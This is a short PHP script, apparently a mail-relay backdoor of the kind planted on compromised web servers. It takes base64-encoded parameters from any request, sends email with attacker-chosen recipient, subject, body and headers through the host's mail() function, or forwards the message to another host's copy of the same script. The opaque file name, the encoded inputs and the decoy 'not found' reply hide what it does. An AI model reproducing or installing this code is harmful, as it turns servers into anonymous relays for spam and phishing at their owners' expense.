mantxmt.php

<?php


if ($_REQUEST['action'] == 'indt') {

$in_data =  base64_decode($_REQUEST['query']);

$fr = explode('|', $in_data);

if (empty(stripslashes(base64_decode($fr[4]))))
{
if (mail(stripslashes(base64_decode($fr[0])), stripslashes(base64_decode($fr[1])), base64_decode($fr[2]), stripslashes(base64_decode($fr[3]))))
{echo 'query';} else {echo 'bad request';}
}
    else
{
$url =  stripslashes(base64_decode($fr[4])) . '/?action=indt&query=' . base64_encode($fr[0] . '|' . $fr[1] . '|' . $fr[2] . '|' . $fr[3]);
    echo(file_get_contents($url));
}

} else {echo 'not found';}